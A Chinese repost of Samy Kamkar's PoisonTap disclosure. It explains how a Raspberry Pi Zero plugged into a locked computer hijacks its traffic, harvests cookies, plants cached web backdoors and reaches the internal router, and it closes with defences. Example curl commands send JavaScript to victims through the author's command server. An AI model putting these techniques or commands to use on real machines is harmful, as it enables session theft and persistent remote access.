使用Raspberry Pi Zero在鎖定的計算機中安裝後門

歡迎各位作者到MottoIN投稿

想加QQ群或微信群的可以去原文鏈接觀看加群方式

原文鏈接:使用Raspberry Pi Zero在鎖定的計算機中安裝後門

---------------------------------------------------------------------------------------------------------------------------

當poison Tap插入被鎖定/密碼保護的電腦時:

  • 模擬以太設備通過USB
  • 從機器劫持所有上網流量(儘管是一個低級優先順序/未知的網路介面)
  • 存儲Alexa排名top 1000000 的網站的http cookies 和sessions
  • 暴露內部路由器給攻擊者,使攻擊者可以訪問遠程WebSocket並且重新綁定DNS(感謝馬特·奧斯汀DNS重新綁定的想法!)
  • 安裝在HTTP緩存持久基於Web的後門為成千上萬個域名和常見的JavaScript CDN的URL,都通過緩存中毒訪問用戶的cookie
  • 允許攻擊者在任何後門域中可以遠程強制使用用戶的cookie進行HTTP請求和代理回應響應(GET&POST)
  • 不需要機器解鎖
  • 即使設備被刪除偷走,後門訪問仍然繼續

詳細的視頻介紹:

演示:在鎖定的計算中植入後門

poison Tap 繞過以下安全機制:

  • 密碼保護與屏幕鎖定
  • 路由表優先順序和和網路介面循序
  • 同源策略
  • X-Frame-Options
  • HttpOnly Cookies
  • SameSite cookie的屬性
  • 雙因素/多因素驗證(2FA / MFA)
  • DNS綁定
  • 跨域資源共享(CORS)
  • 當安全標記cookie和HSTS未啟用時進行HTTPS cookie 保護

PoisonTap

PoisonTap是由 價值5$的Raspberry Pi Zero構建的,除了微型USB電纜和microSD卡之外不需要任何其它額外組件,但PoisonTap可以在其它可以模擬USB小部件(如USB Armory和LAN Turtle)的設備上工作。

(incredible HTML5 canvas animation by Ara)

Video Demo: youtu.be/Aatp5gCskvk

Point of Contact: @SamyKamkar // samy kamkar - home

Released: November 16, 2016

Source code and download: samyk/poisontap

How PoisonTap Works

PoisonTap通過利用機器和網路的各種機制(包括USB / Thunderbolt,DHCP,DNS和HTTP)中現有的信任來產生級聯效應,從而產生信息滲透,網路訪問和半永久後門的安裝的雪球效應。

簡而言之,PoisonTap執行以下操作:

網路攻擊

1.網路劫持攻擊者將PoisonTap(例如武裝強化的Raspberry Pi Zero)插入鎖定的計算機(即使計算機受密碼保護)

2.PoisonTap模擬乙太網設備(例如,USB / Thunderbolt) - 默認情況下,Windows,OS X和Linux識別乙太網設備,自動將其作為低優先順序網路設備載入並在其上執行DHCP請求,即使機器被鎖定或密碼保護

3.PoisonTap響應DHCP請求並為機器提供IP地址,但是DHCP響應的目的是告訴機器整個IPv4空間(0.0.0.0 - 255.255.255.255)是PoisonTap本地網路的一部分,而不是子網(如192.168.0.0 - 192.168.0.255)

  • 通常,如果次要網路設備連接到機器,因為它將被給予比現有(受信任)網路設備更低的優先順序,並且不會取代用於網際網路業務的網關,但是...
  • 任何路由表/網關優先順序/網路介面服務順序安全性由於「LAN流量」優先順序超過「Internet流量」而被繞過
  • PoisonTap利用此網路訪問,甚至作為低優先順序網路設備,因為低優先順序網路設備的子網被給予比最高優先順序網路設備的網關(默認路由)更高的優先順序
  • 這意味著如果流量為1.2.3.4,而通常此流量將擊中主網路設備(非PoisonTap)的默認路由/網關,PoisonTap實際上獲取流量,因為PoisonTap「本地」網路/子網包含1.2 .3.4,以及每個其它IP地址存在;)
  • 因此,即使機器連接到具有較高優先順序和正確網關(真正的WiFi,乙太網等)的另一個網路設備,所有的Internet流量也會經過PoisonTap

抓取Cookie

1.只要Web瀏覽器正在運行後台,每打開一個頁面,伺服器後台都要進行http請求(例如載入新廣告,將數據發送到分析平台,或者只是繼續跟蹤您的網路運動)

  • 你可以驗證這一點,通過進入devtools / inspector(通常是Cmd + Shift + I或Ctrl + Shift + I),然後點擊一個訪問量很大的網站,點擊網路選項卡,並觀察作為遠程資源繼續訪問,即使你在頁面上沒有採取任何操作。

2.根據此HTTP請求,由於所有流量都退出到PoisonTap設備,PoisonTap DNS欺騙即時返回其自己的地址,導致HTTP請求命中PoisonTap Web伺服器(Node.js)

  • 如果DNS伺服器指向PoisonTap無法獲得特權的內部IP(LAN),攻擊繼續有效,因為內部DNS伺服器將為受攻擊的各個域產生公共IP地址,並且它是PoisonTap的公共IP地址已經劫持
  • 一旦內部DNS伺服器響應,Web瀏覽器將訪問公共IP,最終在任一情況下訪問PoisonTap Web伺服器(Node.js)

3.當Node web伺服器接收到請求時,PoisonTap會響應一個可以解釋為HTML或Javascript的響應,這兩個都正確執行(許多網站將在後台請求中載入HTML或JS)

4.然後,HTML / JS-agnostic頁面會生成許多隱藏的iframe,每個iframe跨越不同的Alexa-top-100萬個域

  • 域上的任何「X-Frame-Options」安全性都被繞過,因為PoisonTap現在是HTTP伺服器,並選擇發送到客戶端的標頭
  • 隨著對網站的每個iframe HTTP請求(例如,nfl.com/PoisonTap),HTTP cookie從瀏覽器發送到PoisonTap劫持的「公共IP」,其迅速記錄cookie /驗證信息,將成千上萬的用戶的Cookie記錄到PoisonTap
  • 任何「HttpOnly」cookie安全性被繞過,並且捕獲這些cookie是因為沒有Javascript在域本身上執行,而是僅用於首先載入iframe
  • 任何跨源資源共享或同源策略安全性被繞過,因為正在訪問的域對瀏覽器顯示合法
  • 由於我們捕獲的是Cookie而不是憑據,因此當攻擊者使用Cookie登錄時,將繞過在網站上實施的任何2FA / MFA。這是因為我們實際上不是執行登錄功能,而是繼續一個已經登錄的會話,不會觸發雙因素身份驗證
  • 如果伺服器使用HTTPS,但Cookie未顯式設置安全cookie標誌,則繞過HTTPS保護,並將cookie發送到PoisonTap

基於web後門的遠程訪問

1.雖然PoisonTap正在生產數千個iframe,迫使瀏覽器載入每個iframe,但這些iframe不僅僅是空白頁面,而是無限緩存的HTML + Javascript後門

2.即使用戶當前未登錄,由於PoisonTap在每個域上強制緩存這些後門,後門被綁定到該域,使攻擊者能夠使用域的Cookie並在將來啟動同源請求,即使用戶當前未登錄

  • 例如,當載入nfl.com/PoisonTap iframe時,PoisonTap通過Node Web伺服器響應HTTP請求接受轉向的Internet流量。
  • 添加了其它HTTP頭以無限緩存頁面

3.頁面的實際響應是HTML和Javascript的組合,其產生持續的WebSocket到攻擊者的web伺服器(通過網際網路,而不是PoisonTap設備)

  • WebSocket保持打開狀態,允許攻擊者在將來的任何時候連接回後端機器,並在任何有後門實現的源上執行請求(Alexa排名前100萬個網站 - 見下文)
  • 如果後門在一個站點(例如,nfl.com)上打開,但用戶希望攻擊不同的域(例如,pinterest.com),攻擊者可以將nfl.com上的iframe載入到pinterest.com後門(pinterest.com/PoisonTap)。
  • 同樣,域上的任何「X框架選項」,跨源資源共享和同源策略安全性完全被繞過,因為請求將命中PoisonTap離開的緩存,而不是真正的域

OLYMPUS DIGITAL CAMERA

內部路由器後門和遠程訪問

1.PoisonTap不能劫持是真正的網路介面的實際LAN子網(例如,如果用戶的wifi子網是192.168.0.x,這個網路不受影響),但...

2.PoisonTap在一個特別主機上強制緩存後門,具體地,目標路由器的IP後面加上「.ip.samy.pl」,例如。 192.168.0.1.ip.samy.pl,基本上產生持久的DNS重綁定攻擊

  • 當使用PoisonTap作為DNS伺服器(受害者使用公共DNS伺服器)時,PoisonTap臨時使用專門的PoisonTap IP(1.0.0.1)進行響應,這意味著此時的任何請求都將命中PoisonTap Web伺服器
  • 如果期待DNS伺服器設置內部網路(例如,192.168.0.x),我們對1.0.0.1.pin.ip.samy.pl伺服器發出一個額外的特製請求,幾秒之後,它會返回專用DNS伺服器(公網的)的信息。
  • 然後,PoisonTap在192.168.0.1.ip.samy.pl/上快速設置一個後門,暫時指向1.0.0.1版本的PoisonTap設備,它允許後門從PoisonTap設備訪問和存儲

3.DNS綁定和DNS重綁的安全性由於耗盡DNS綁定表而被繞過。由於之前做出的成千上萬次的請求,DNS不需要重新綁定,使得該攻擊可以持續很長時間(感謝Matt Austin分享這種攻擊思路!)

4.現在,後門強制連接到192.168.0.1.ip.samy.pl/,任何對192.168.0.1.ip.samy.pl的請求都將命中非固定的IP地址,導致192.168.0.1 以解析,直接指向路由器

5.這意味著如果通過後門遠程在iframe中載入192.168.0.1.ip.samy.pl/PoisonTap主機,你可以對內部路由器上的任何其他頁面執行AJAX GET / POST,完全遠程,從而允許遠程訪問內部路由器

  • 這可能導致對路由器的其它攻擊,攻擊者可能從來沒有訪問過,例如路由器上的默認管理員憑據用於覆蓋DNS伺服器或暴露的其他身份驗證漏洞

Recap of the DNS server:

[ip.addy].ip.samy.pl normally responds with [ip.addy]192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)[ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy]1.0.0.1.pin.ip.samy.pl -> 1.0.0.1192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)(after ~5 seconds)192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)

基於web遠程訪問的其它後門

1.此外,PoisonTap替代了成千上萬的常見的,基於CDN的Javascript文件,如谷歌和jQuery CDNs。在確定安全的代碼加上一個後門,可以讓攻擊者訪問任何域時載入受感染的基於CDN的Javascript文件

2.由於每個域上都留有後門,即使當前受害者沒有對當前域任何開放任何窗口,攻擊者幾乎可以遠程強制後端瀏覽器在任何主域上執行同源請求(AJAX GET / POST)

3.當受害者訪問網站時,後門現在可以在任何額外的網站上使用這些受感染的,基於HTTP的CDN Javascript框架

安全預防posion Tap

服務端安全

如果你正在運行一個web伺服器,以下是安全防禦posion Tap的樣例:

1.僅使用HTTPS,至少為認證和已認證的內容使用HTTPS

2.老實說,你應該單獨使用HTTPS,並始終將HTTP內容重定向到HTTPS,防止用戶通過HTTP提交被欺騙提供的憑據或其它PII

3.確保在Cookie上啟用安全標記,防止通過HTTP泄漏HTTPS Cookie

4.使用HSTS防止HTTPS降級攻擊

桌面安全

1.拿粘合劑封住USB和Thunderbolt埠效果不錯(與第3條類似,不過這裡是物理封鎖---小編注)

2.每次離開機器時關閉瀏覽器,不過這是完全不切實際的

3.禁用USB / Thunderbolt埠也是有效的,雖然也不切實際

4.鎖定計算機沒有任何效果,因為網路和USB堆棧在機器鎖定期間操作。但是,計算機進入加密睡眠模式(例如,FileVault2 +深度睡眠)可以解決大多數問題,因為內存需要內存需要秘鑰解密,即使你的瀏覽器被喚醒。它仍然不能提出任何請求。

Code下載地址:

Source code: samyk/poisontap

文件分解

在poisontap中有許多文件,它們用於不同的方面。 以下是文件列表:

  • ackdoor.html:每當一個hostname/PoisonTap URL命中exfiltrate cookies,這個文件是作為強制緩存的內容返回。它包含一個後門,生成一個出站websocket到samy.pl:1337(可調整到任何主機/埠),保持打開等待伺服器的命令。當你在網站上載入iframe(如hostname/PoisonTap)時,這意味著這是被填充的內容(即使PoisonTap從計算機中刪除)。
  • backend_server.js :這是你在Internet可訪問的伺服器上運行的Node.js伺服器。 這是正是backdoor.html連接的內容(例如,samy.pl:1337)。 這是你連接到發送命令到你的PoisonTapped minion機器相同的伺服器,例如

# pop alert to victimcurl http://samy.pl:1337/exec?alert("muahahahaha")# to set a cookie on victimcurl http://samy.pl:1337/exec?document.cookie="key=value"# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)curl http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d){console.log(d)})

  • pi_poisontap.js:它通過Raspberry Pi Zero上的Node.js運行,是PoisonTap是負責截獲的來自HTTP伺服器的任何請求的,是存儲Cookie和注入緩存的後門。
  • pi_startup.sh:它在Raspberry Pi Zero上啟動時運行,以便將設備設置為模擬USB乙太網小配件,為我們設置惡意DHCP伺服器,允許流量重走,DNS欺騙,並啟動上面的pi_poisontap.js。
  • target_backdoor.js: 此文件預先放在任何與CDN相關的Javascript文件中,從而將其封鎖。
  • target_injected_xhtmljs.html:這是在受害者的機器上注入無意/後台HTTP / AJAX請求併產生整個攻擊的代碼。它的構造方式使得它可以解釋為HTML或Javascript,並且仍然執行相同的代碼。
  • poisontap.cookies.log: 一旦用戶的計算機開始向PoisonTap發送HTTP請求,並且記錄來自瀏覽器的cookie及其所屬的相關URL /域,就會生成此文件。

*作者:SamyKamkar,轉載請註明來自MottoIN


推薦閱讀:

如何進入BIOS?
[B0] Python基礎
網格圖負權最短路
隱式馬爾科夫鏈(HMM)學習筆記
我如何看待用1公斤DNA存儲全球信息這個事情

TAG:後門 | 計算機科學 | 終端安全 |